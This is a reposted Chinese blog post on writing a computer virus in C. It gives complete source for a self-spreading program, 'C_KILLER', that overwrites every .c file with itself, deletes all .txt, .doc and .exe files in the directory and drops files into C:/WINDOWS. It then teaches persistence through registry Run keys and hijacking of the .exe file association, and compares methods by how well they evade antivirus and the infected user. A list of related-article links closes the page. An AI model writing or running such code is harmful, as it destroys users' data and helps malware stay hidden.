以下为本人网上转载内容,仅供爱好者参考之用:


在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.

[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.
一、什么是病毒   
    恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.
    我们要对付病毒,就要了解病毒.
    写一些病毒是一个很好的办法.
    如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“
     
      其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。
     要编制一个病毒,首先要知道病毒的运行机理。
     不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
     在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()
     {
      if (infectable_object_found
        &&object_not_already_infect)
             infect_object;
       }
            
  病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
            TriggerSection()
            {
                if (date_is_Friday_13th_and_time_is_03:13:13)
                                                             set_trigger_status_to_yes;
            }
  有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
          Executesection()
          {
              if (trigger_statue_is_yes)
                  execute_payload;                      
          }       
二、 编制病毒的语言
    最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:
    1).Win32编程,进程,线程,内存,等等。
  2).32位汇编,以指令用法为主。386汇编就比较够用了。
  3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
  4).调试技术。VC,TD32,SoftIce,等等。
    要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C
以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.
三 用C编制病毒
    以TurboC2.0为例.它的库函数可以实现很多功能.
    如以下两个函数:
    1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
    2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.
                
四 一个C病毒   
         <<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害
    可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
         下面是我写的病毒.
    它主要由四个模块组成.
    RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.
    CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
    Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
    Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.
    前三个是有效负载.
    第四个可以说是它的感染机制.
/********************************** IN FACT,IT"S NOT A VIRYUS AT ALL. **********************************/ #include <io.h> #include <dir.h> #include <stdio.h> #include <stdlib.h> #include <string.h> /* copy outfile to infile */ void copyfile(char *infile, char *outfile) { FILE *in,*out; in = fopen(infile,"r"); out = fopen(outfile,"w"); while (!feof(in)) { fputc(fgetc(in),out); } fclose(in); fclose(out); } /* This function named Rubbishmaker. */ void MakeRubbish() { int i; FILE *fp; char *path; char *NewName; char *disk[7] = {"A","B","C","D","E","F","G"}; char *addtion = ":/"; /* Make some rubbish at the current catalogue */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX" ; NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); } /* make some rubbish at the root catalogue */ path = strcat(disk[getdisk()],addtion); /* get the root catalogue */ chdir(path); /*change directory according to the "path" */ for (i = 0; i<5; i++) { char tempname[] = "XXXXXX"; NewName = mktemp(tempname); fp = fopen(NewName,"w"); fclose(fp); } } /* This function can creat some .exe or .com documents in the sensitive place. Don't worry,It's only a joke.It will do no harm to your computer. */ void CreatEXE() { int i; char *path; char *s[2] = {"C:/WINDOWS/system32/loveworm.exe","C:/WINDOWS/virusssss.com"}; for ( i = 0; i < 2; i++) { open(s[i], 0x0100,0x0080); copyfile( "C_KILLER.C",s[i]); } } /* remove something from your computer */ void Remove() { int done; int i; struct ffblk ffblk; char *documenttype[3] = {"*.txt","*.doc","*.exe"}; for (i = 0; i < 3; i++) { done = findfirst(documenttype[i],&ffblk,2); while (!done) { remove(ffblk.ff_name); done = findnext(&ffblk); } } } /* overlay the c programs */ void Breed() { int done; struct ffblk ffblk; done = findfirst("*.c",&ffblk,2); while (!done) { if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 ) { copyfile("C_KILLER.C",ffblk.ff_name); } done = findnext(&ffblk); } } void main() { printf("THERE IS A VIRUS BY XIAOKE.nn"); Breed(); Remove(); CreatEXE(); printf("COULD YOU TELL ME YOUR NAME nn"); printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!nn"); MakeRubbish(); getchar(); printf("IT'S ONLY A JOKE! THANK YOU!nn"); clrscr(); system("cmd"); }

1.可以用于病毒开机自启动的注册表位置:

[HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

[HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices]

[HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce]

[HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServicesOnce]

[HKCU/SOFTWARE/Microsoft/Windows/CurrentVersion/Run]

[HKCU/SOFTWARE/Microsoft/Windows/CurrentVersion/RunOnce]

[HKCU/SOFTWARE/Microsoft/Windows/CurrentVersion/RunServices]

以上只是默认运行的部分注册表位置,其实还可以在系统启动外客(shell explorer.exe)后添加病毒路径等方法,同样可以实现通过注册表开机自动运行。

2.关联文件类型

在注册表HKEY_CLASS_ROOT下可以更改文件类型的默认启动程序,比如更改EXE文件的启动程序为你写的病毒,那么每当运行exe程序时,病毒将替代程序运行

例:

到注册表HKEY_CLASS_ROOT/exefile/shell/open/command下,修改“默认”修改为c:/windows/svchost.exe "%1" %*,那么以后运行.exe文件时只会运行c:/windows/svchost.exe3.程序修改注册表的方法:

(1)使用REG命令添加修改注册表:

REG命令使用方法具体可以在命令提示符中输入REG /?和通过参阅Windows命令帮助查看

主要格式:

REG Operation [Parameter List]

Operation  [ QUERY   | ADD    | DELETE  | COPY    |

SAVE    | LOAD   | UNLOAD  | RESTORE |

COMPARE | EXPORT | IMPORT ]

例:向HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run中添加名为SVCHOST的键值,键值内容为C:/Windows/system/SVCHOST.exe

reg add "HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run" /v SVCHOST /d C:/Windows/system/SVCHOST.exe /f

调用reg命令的方法主要有两中,一种是使用C语言中的system函数,另一种是使用C语言中的spawn类函数(如函数spawnl)。具体system和spawnl使用方法请参见其它资料,这里仅举一例:

例:用system函数通过reg命令向HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run中添加名为SVCHOST的键值,键值内容为C:/Windows/system/SVCHOST.exe

system("reg add /"HKLM//SOFTWARE//Microsoft//Windows//CurrentVersion//Run/" /v SVCHOST /d C://Windows//system//SVCHOST.exe /f");

评论与小结:使用REG命令添加注册表可以达到直接调用系统命令(工具)来修改注册表的目的,如果被杀毒软件拦截也只会显示修改操作的发出来自C:/WINDOWS/system32/reg.exe,使病毒不容易被寻找到。但由于REG命令属于控制台命令,因此调用时有黑色的控制台出现,是病毒的征兆被感染用户发现,不利于病毒隐藏。

(2)使用WindowsAPI添加修改注册表

WindowsAPI为我们提供了大约25个函数。他提供了对注册表的读取,写入,删除,以及打开注册表及键值时所有函数这些函数有:

RegCloseKey

RegConnectRegistry

RegCreateKey

RegCreateKeyEx

RegDeleteKey

RegDeleteVale

RegEnumKey

RegFlushKey

RegGetKeySecurity(Windows9X不适用)

RegLoadKey

RegNotifyChangeKeyValue(Windows9X不适用)

RegOpenKey

RegOpenKeyEx

RegQueryInfoKey

RegQueryValue

RegQueryValueEx

RegReplaceKey

RegRestoreKey(Windows9X不适用)

RegSaveKey

RegSetKeySecurity(Windows9X不适用)

RegSetValue

RegSetValueEx

RegUnLoadKey

等,函数的使用需要在32位C编译器下调用windows.h文件,同(1)中一样,具体函数的使用方法请参见其它资料,这里仅举一例.

例:通过WindowsAPI向HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run中添加名为SVCHOST的键值,键值内容为C:/Windows/system/SVCHOST.exe

TRegistry* Registry;

Registry=new TRegistry();

Registry->RootKey=HKEY_LOCAL_MACHINE;

Registry->OpenKey("SOFTWARE//Microsoft//Windows//CurrentVersion//Run",FALSE);

Registry->WriteString("SVCHOST","C://Windows//system//SVCHOST.exe");WriteString()

Registry->CloseKey();

评论与小结:使用WindowsAPI添加注册表可以达到直接无须调用系统命令(工具)就可以修改注册表的目的,但如果被杀毒软件拦截会显示修改操作来自的病毒体文件所在的路径,使病毒容易被寻找到。但由于WindowsAPI可以“悄悄”的完成修改,在前台没有任何显示,因此调用时如果未被拦截,很难被感染用户发觉,利于病毒隐藏。

(3)使用REGEDIT添加修改注册表

REGEDIT就是注册表编辑器,但它其实有一个/s的参数,只要调用regedit /s 注册表文件,就可以在后台无提示的修改注册表。同样需要用spawnl函数调用它。

例:通过spawnl函数调用regedit向HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run中添加名为wjview32的键值,键值内容为C:/windows/wjview32.com /s

char *regadd={"REGEDIT4/n/n[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//Run]/n/"wjview32/"=/"C:windowswjview32.com /s/""};

FILE *output;

if((output=fopen("$$$$$","w"))!=NULL)

{

fprintf(output,regadd);

fclose(output);

spawnl(1,"c://windows//regedit.exe"," /s $$$$$",NULL);

}

评论与小结:使用spawnl函数+REGEDIT可以兼得WindowsAPI和REG两种方法的优势,添加注册表如果被杀毒软件拦截会显示修改操作来自c:/windows/regedit.exe,使病毒的路径难以被寻找到,利于病毒的隐藏。REGEDIT可以“悄悄”的完成修改,在前台没有任何显示,因此调用时如果未被拦截,很难被感染用户发觉,利于病毒隐藏。

c语言病毒分析(转)相关推荐

  1. Android逆向与病毒分析

    本文由同程旅游安全团队对内移动安全培训的PPT整理而来,面向对象为对移动安全感兴趣的研发同事,所以讲的有些宽泛.介绍了入门Android逆向需要掌握的一些知识点, 通过简单的几个案例讲解Android ...

  2. WannaCry勒索病毒分析 **下**

    WannaCry勒索病毒分析 下 在WannaCry.exe的分析实战 上 里面我已经拿到了WannaCry.exe在资源文件中的PE文件,并且给它提了个名WannaCry_PE.exe文件.但在Wa ...

  3. 病毒分析报告-熊猫烧香

    分析报告 样本名 Worm.Win32.Fujack.p 时间 2017-5-27 平台 Windows 10 病毒分析报告 目录 1.样本概况    3 1.1 样本信息    3 1.2 测试环境 ...

  4. 病毒分析系列 _ 病毒分析环境搭建

    前言 通常进行病毒分析,需要有一个配置好的病毒分析环境,fireeye之前也出过配置好的虚拟机,但是虚拟机安装过程很慢,不如我们自己配置一个,下边对虚拟机的配置和病毒分析的基本原则进行展开说明,打好病 ...

  5. 病毒分析要掌握的技能

    [转载]http://bbs.pediy.com/showthread.php?t=199036 虽然这里面的技能都比较久远了,但是常识还是要了解的 1._declspec(naked) 告诉编译器不 ...

  6. office病毒分析从0到1

    一.office文件格式 office文件格式根据版本可以分为Office2007之前的版本和Office2007之后的版本. Office2007之前的版本为OLE复合格式:doc,dot,xls, ...

  7. 病毒分析快速入门01--分析环境搭建

    小C无聊的躺在床上,刷着#开学#话题微博. 都怪这该死的疫情,开学一拖再拖,在教室后排偷看女神的机会又少了. 开学之日恐怕即是毕业之时了,小c 在失去女神背影患得患失的心情中,也不得不考虑 工作的问题 ...

  8. 朝花夕拾(3)—— 网络天空蠕虫病毒分析

    网络天空蠕虫病毒分析 作者:青青子衿 email:anzijin@sina.com 第一部分 解压缩 代码位于地址41200F到4120B9部分,用于把压缩前的原始数据拷贝到恰当的地址处,共通过了四次 ...

  9. R语言效用分析 ( 效能分析、Power analysis)、除了pwr包之外还有其它包、例如、基因研究中的效能分析、MBESS包可用于各种形式的效能分析和最少样本量确定、其他效用分析包的简要介绍

    R语言效用分析 ( 效能分析.Power analysis).除了pwr包之外还有其它包.例如.基因研究中的效能分析(power analysis).MBESS包可用于各种形式的效能分析(power ...

  10. R语言效用分析 ( 效能分析、Power analysis)确定样本量、假设检验与两类错误、pwr包进行效用分析 ( 效能分析、Power analysis)的常用函数列表

    R语言效用分析 ( 效能分析.Power analysis)确定样本量.假设检验与两类错误.pwr包进行效用分析 ( 效能分析.Power analysis)的常用函数列表 目录

最新文章

  1. cf两边黑屏怎么解决win10_Win10电脑开机黑屏只有鼠标指针无法进入桌面的解决方法...
  2. iOS核心动画高级技术(十四) 图像IO
  3. iOS安全之二次封装AFN并设置请求头/执行HTTPS加强安全
  4. Scala 内部类及外部类
  5. linux下mongodb 安装,linux下mongodb安装
  6. springboot 上传文件保存在本地磁盘
  7. Spring Data JPA 条件查询 分页查询
  8. 数字式温度传感器工作原理以及测温原理分析
  9. xshell的注册码
  10. arcgis两点之间连线_three3D地图设置两点之间的连线
  11. 详述数据中心内部通风的几种形态
  12. 外挂的介绍 什么是外挂
  13. SAP中ABAP的生产订单调用BAPI进行投料BAPI_GOODSMVT_CREATE(根据生产订单号进行投料,可以修改物料数量)
  14. 使用Excel中的插入对象功能在Excel中插入Word文档
  15. freeRTOS出现任务卡死的情况。
  16. 自由Android安全研究员陈愉鑫:移动App灰色产业案例分析与防范
  17. 涛思数据TDengine征稿 — 保姆级教程TDengine客户端服务器安装教程
  18. 苹果微信更新不了最新版本_iPhone最新屏蔽系统更新方法,全版本适用
  19. 34. 在排序数组中查找元素的第一个和最后一个位置给你一个按照非递减顺序排列的整数数组 nums,和一个目标值 target。请你找出给定目标值在数组中的开始位置和结束位置。如果数组中不存在目标
  20. 花旗金融2020春招面经(offer)

热门文章

  1. Chrome浏览器修改繁体为中文简体
  2. 通过cmd上传文件ftp服务器,通过cmd完成FTP上传文件操作
  3. 键盘模拟文件尾EOF
  4. C语言中图形题,c语言图形输出习题.doc
  5. 太原理工大学计算机课程设计报告,太原理工大学matlab课程设计报告
  6. Linux之tar命令
  7. Blocking Queue三种加入队列方法对比
  8. 网络安全从小白到专家
  9. 计算机科学与技术专业知识好学吗,计算机科学与技术好学吗
  10. matlab在非线性动力学,基于Matlab的非线性动力学系统分析